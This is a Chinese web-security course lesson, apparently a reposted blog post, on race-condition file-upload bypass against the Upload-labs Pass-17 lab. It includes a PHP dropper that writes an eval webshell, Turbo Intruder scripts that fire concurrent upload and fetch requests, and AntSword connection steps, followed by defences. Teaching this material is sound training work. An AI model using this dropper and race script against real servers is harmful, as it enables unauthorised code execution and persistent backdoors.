news 2026/10/20 5:03:16

【八个月网安课程】第十一周·周四:条件竞争上传原理与实操

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【八个月网安课程】第十一周·周四:条件竞争上传原理与实操

今天将接触一种更高阶的文件上传绕过技巧——条件竞争。它不依赖后缀名或内容检测的疏漏,而是利用服务端“先保存后校验”的时间差,在文件被删除或重命名之前的短暂窗口内执行恶意代码。这是一种经典的“时间差”攻击,深刻考验对并发请求和服务器处理流程的理解。


第十一周·周四:条件竞争上传原理与实操

🎯 今日学习目标(达成效果)

  • 能解释条件竞争(Race Condition)漏洞的本质:多线程/进程并发操作同一资源时,由于时序不当导致的安全缺陷;
  • 能描述文件上传功能中条件竞争的常见场景:服务端先将上传文件临时保存到磁盘,随后进行后缀校验和重命名,在校验完成前的瞬间,文件以原始文件名存在并可被访问;
  • 能独立设计一个条件竞争攻击:使用 Burp Intruder 的 Turbo Intruder 或多线程工具,并发发送上传请求和文件访问请求,在服务端删除恶意文件之前成功触发执行;
  • 能在 Upload-labs 条件竞争关卡(如 Pass-17)中,通过并发上传 PHP 文件并同时不断访问该文件,最终获得 Webshell;
  • 能提出防御条件竞争的有效方案:先校验后保存、使用原子操作、存储于非 Web 可访问目录、限制并发请求频率等。

📘 一、条件竞争漏洞的本质

条件竞争发生在多线程或并发环境下,程序的执行结果依赖于不可控的时序。在文件上传场景中,开发者通常的做法是:

  1. 接收上传文件,保存到临时目录。
  2. 校验文件后缀名、内容等。
  3. 如果校验通过,将文件移动到正式存储目录;如果不通过,立即删除该临时文件。

时间窗口:在第1步保存完成到第3步删除文件之间,文件短暂地存在于磁盘上,并且如果是 Web 可访问目录,就可能被攻击者通过 HTTP 请求直接访问。如果攻击者能在这个极短的时间窗口内访问到该 PHP 文件,服务器就会执行其中的代码,从而实现绕过。

这个窗口通常只有几毫秒到几十毫秒,但通过高并发请求,攻击者可以极大增加在窗口内命中的概率。一旦命中一次,木马就植入了。


📘 二、条件竞争上传的典型利用流程

1. 服务端伪代码示例

$tmp_name=$_FILES['file']['tmp_name'];$target='uploads/'.$_FILES['file']['name'];move_uploaded_file($tmp_name,$target);// 先移动到目标位置if(!is_image($target)){unlink($target);// 校验失败,删除echo'不允许的文件';}

在这个逻辑中,从move_uploaded_file结束到unlink执行之前,恶意文件就躺在uploads/目录下,可以通过 URL 直接访问。

2. 攻击双线程模型

  • 线程A(上传线程):不断上传 PHP 木马文件,每次使用相同或不同的文件名。
  • 线程B(访问线程):不断对目标 PHP 文件发起 HTTP 请求,尝试在文件被删除前访问到它。

一旦线程B的某个请求落在线程A的上传完成之后、删除完成之前,shell.php就会被执行。线程B甚至可以在 GET 请求中携带命令参数,以便在成功执行时立即写入更持久的 Webshell。


📘 三、利用 Burp Intruder 实现条件竞争(手工方式)

通常有两种手段:

  • Intruder 的 Cluster bomb 或 Pitchfork 配合多线程(但社区版 Intruder 速度较慢,成功率低)。
  • Turbo Intruder(Burp 扩展,高速并发)是此类攻击的利器。如果未安装,可先在 Extender → BApp Store 中安装。
  • 也可使用 Python 脚本或其他并发工具。

今天使用 Turbo Intruder 进行演示。


✍️ 四、动手实践:Upload-labs Pass-17 条件竞争绕过

环境:Upload-labs 靶场,Pass-17 通常为条件竞争关卡(“竞争上传”)。

1. 准备木马文件

创建一个 PHP 文件race.php,内容:

<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]);?>');?>

这段代码的作用是:当race.php被成功执行时,会在同目录下写入一个真正的一句话木马shell.php。这样我们只需要竞争成功一次,就能获得持久稳定的 Webshell。

2. 配置 Turbo Intruder

  • 打开 Burp,确保代理正常。在靶场上尝试上传race.php一次,并抓取该 POST 请求。此时服务器会返回“上传失败”(因为我们知道会校验不通过)。
  • 将拦截到的上传请求右键 →Extensions→Turbo Intruder→Send to Turbo Intruder。
  • 在 Turbo Intruder 编辑器中,编写以下脚本(Python 代码,Turbo Intruder 使用 Python 语法):
defqueueRequests(target,wordlists):engine=RequestEngine(endpoint=target.endpoint,concurrentConnections=20,# 20并发连接)# 不断发送上传请求foriinrange(1000):engine.queue(target.req)# 同时不断访问目标 race.php 文件foriinrange(1000):engine.queue(target.baseRequest,gate='race')

但上述脚本需要区分两个不同的请求(上传请求和访问请求)。更精细的做法是构造两个请求模板。

方法:

  1. 复制上传请求到 Turbo Intruder 后,在编辑器顶部输入框中填入目标主机(target.endpoint会自动识别)。
  2. 我们需要两个请求:req1为上传请求,req2为访问race.php的 GET 请求。可以先在 Repeater 中构造好 GET 请求,然后作为另一个字符串放到脚本中。

完整脚本示例:

defqueueRequests(target,wordlists):engine=RequestEngine(endpoint=target.endpoint,concurrentConnections=30,requestsPerConnection=100,pipeline=False)# 上传请求(原请求)upload_req='''POST /upload-labs/Pass-17/index.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----WebKitFormBoundary... ... ------WebKitFormBoundary...--\r\n'''# 访问请求fetch_req='''GET /upload-labs/upload/race.php HTTP/1.1 Host: target.com Connection: close '''# 同时发送上传和访问请求engine.queue(upload_req,gate='race')engine.queue(fetch_req,gate='race')# 重复多次foriinrange(500):engine.queue(upload_req,gate='race')engine.queue(fetch_req,gate='race')

注意需要将上传请求中的filename改为race.php,且文件内容为上述写马代码。

  1. 点击Attack。Turbo Intruder 会并发发送大量请求。观察 Responses,如果某个访问请求返回了状态码 200,并且响应体中有shell.php被写入的痕迹(实际上race.php执行后不会有明显输出,但我们可以通过其他迹象判断)。

  2. 攻击进行一段时间后,手动访问http://靶机/upload-labs/upload/shell.php。如果出现空白页面(说明木马已写入),即攻击成功。使用蚁剑连接该地址,密码pass。

3. 提高成功率技巧

  • 增加并发连接数(不宜过高,避免打挂服务器)。
  • 使用更轻量的 payload,例如直接<?php system('id');?>观察输出,但不利于持久化。写马逻辑更隐蔽。
  • 如果服务器上传后文件名被随机化,条件竞争难以利用,因为访问线程无法知道精确文件名。此时需要能预测文件名或者利用其他漏洞。

📝 五、课后测试题与解析

测试题 1:什么是条件竞争漏洞?它在文件上传功能中如何被利用?

参考答案:
条件竞争漏洞是由于并发程序未正确同步线程而导致的安全缺陷。在文件上传中,服务端常常先将文件保存到磁盘,然后进行校验,如果不合法则删除。从文件保存到校验删除之间存在一个短暂的时间窗口,攻击者通过并发不断发送上传请求,同时另开线程不断请求访问刚上传的文件,就有可能在文件被删除前成功执行其中的脚本代码,从而获得服务器控制权。

测试题 2:请描述使用 Turbo Intruder 实现条件竞争上传攻击的关键步骤。

参考答案:

  1. 准备一个 PHP 木马,内容为写入持久后门的代码(如生成shell.php)。
  2. 在 Burp 中截获上传该文件的 POST 请求,发送到 Turbo Intruder。
  3. 编写 Turbo Intruder 脚本,配置高并发引擎,定义两个请求:一个是上传请求,另一个是 GET 访问该上传文件的请求。
  4. 在脚本中使用相同的gate标签并发发送这两个请求,重复数百至上千次。
  5. 发动攻击,等待几秒后访问目标网站检查是否成功写入shell.php。
  6. 如果写入成功,使用蚁剑连接该后门,完成利用。

✅ 今日学习效果自检清单

  • 我能解释条件竞争漏洞产生的原因,并说出它与传统上传绕过的区别
  • 我理解“并发上传+并发访问”的攻击模型
  • 我成功使用 Turbo Intruder 在 Upload-labs Pass-17 中实现了条件竞争绕过
  • 我知道如何使用木马文件自动写入更稳定的后门
  • 我意识到防御条件竞争需要改变文件处理的顺序(先校验后移动),或限制并发、使用原子操作
  • 我明白即使上传功能校验严格,只要存在时间窗口,仍可能被绕过

⚠️ 阶段避坑重点

  • 网络环境要求:条件竞争极度依赖并发响应速度,最好在本地靶场或低延迟网络环境中练习,否则成功率会降低。
  • 不要过度并发:设置过高的并发连接可能使靶场服务器崩溃或无响应,应适度调整concurrentConnections,测试时观察服务器状态。
  • 文件名随机化:如果服务端对文件进行了随机重命名,则访问线程无法预测文件名,条件竞争基本无效。此时需寻找其他漏洞或确保文件名可控。
  • Turbo Intruder 脚本中的换行符:构造原始请求字符串时,确保每行以\r\n结尾,并且文件体中的边界分隔符与 Content-Type 头一致。可直接从 Burp 复制原始请求(右键 Copy to file 或使用target.req)。
  • 不要忽略验证攻击成功:并发攻击后,必须手动访问 Webshell 确认。若使用“写马”技巧,成功一次即可。

今天你利用并发打破了文件上传的“原子性”幻想。明天我们将全面转向防御者视角,系统总结文件上传漏洞的终极防御方案,包括白名单验证、文件重命名、内容检测、权限限制等,并将亲手加固你的靶场。请保留你的木马和攻击记录,明天用于对比加固前后的安全效果。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 5:03:04

AI代码上线就崩?传统验收失效,用四个新环节守住质量

“编译能过、单测全绿、本地也能跑&#xff0c;一上线就崩”——这两年凡是认真用 AI 辅助写代码的人&#xff0c;多多少少都撞到过这种邪门场面。大家在群里聊起来&#xff0c;最后多半归到"AI 生成的代码质量不行"&#xff0c;但以我自己的观察&#xff0c;问题往往…

作者头像 李华
网站建设 2026/10/20 5:03:01

Flink实战:为什么实时计算要选Flink?流批对比与落地指南

年初做技术选型的时候&#xff0c;业务方抛给我一个“很简单”的问题&#xff1a;我们要上一套实时指标看板&#xff0c;为什么非要引入Flink&#xff1f;当时我愣了几秒&#xff0c;因为回答这个问题&#xff0c;比回答“Flink怎么用”要难得多。后来我把这个问题整理成了“Fl…

作者头像 李华
网站建设 2026/10/20 5:02:56

ECShop在线客服插件安装排错实战:从模板缓存到数据库前缀

简介&#xff1a;ECSHOP在线客服插件是为开源电商系统ECSHOP打造的增强型客服模块&#xff0c;面向需要提升售前咨询效率的店铺运营者与二次开发者&#xff0c;核心解决顾客购物时等待响应久、咨询入口分散的问题。资源包仅9个文件、28KB&#xff0c;以ServiceQQ.js前端脚本和q…

作者头像 李华
网站建设 2026/10/20 5:02:48

iOS微信自动抢红包与防撤回插件开发:从Theos环境到Hook实现全解析

简介&#xff1a;这份资源是一份面向越狱苹果设备的微信插件包&#xff0c;主要提供自动抢红包与消息防撤回两大功能&#xff0c;既可直接安装使用&#xff0c;也适合作为iOS逆向工程与Tweak开发的参考实例。压缩包内共整合30个文件&#xff0c;包含5个deb安装包、2个dylib动态…

作者头像 李华
网站建设 2026/10/20 5:02:04

用VID/PID与物理序列号实现U盘身份识别:Windows C++工具详解

简介&#xff1a;面向需要做U盘识别、移动存储设备管理的Windows开发者&#xff0c;这份VC6源码封装了获取设备VID、PID、盘符及物理序列号的关键逻辑。此前论坛资料多只给逻辑序列号&#xff0c;作者整合setupapi与cfgmgr调用后实现了对U盘、移动硬盘、手机卡、MP3/4的通用识别…

作者头像 李华
网站建设 2026/10/20 5:01:40

RAG效果评估全指南:从检索质量到生成质量的指标与实战

1. 先分清楚&#xff1a;RAG评估到底在评什么先说结论&#xff1a;RAG效果评估&#xff0c;核心考察的是两段流水线——检索段有没有捞到该捞的资料&#xff0c;生成段有没有把资料用好。这句话想明白了&#xff0c;你的评估体系就不会乱。我见过不少团队把RAG评估简单等价于“…

作者头像 李华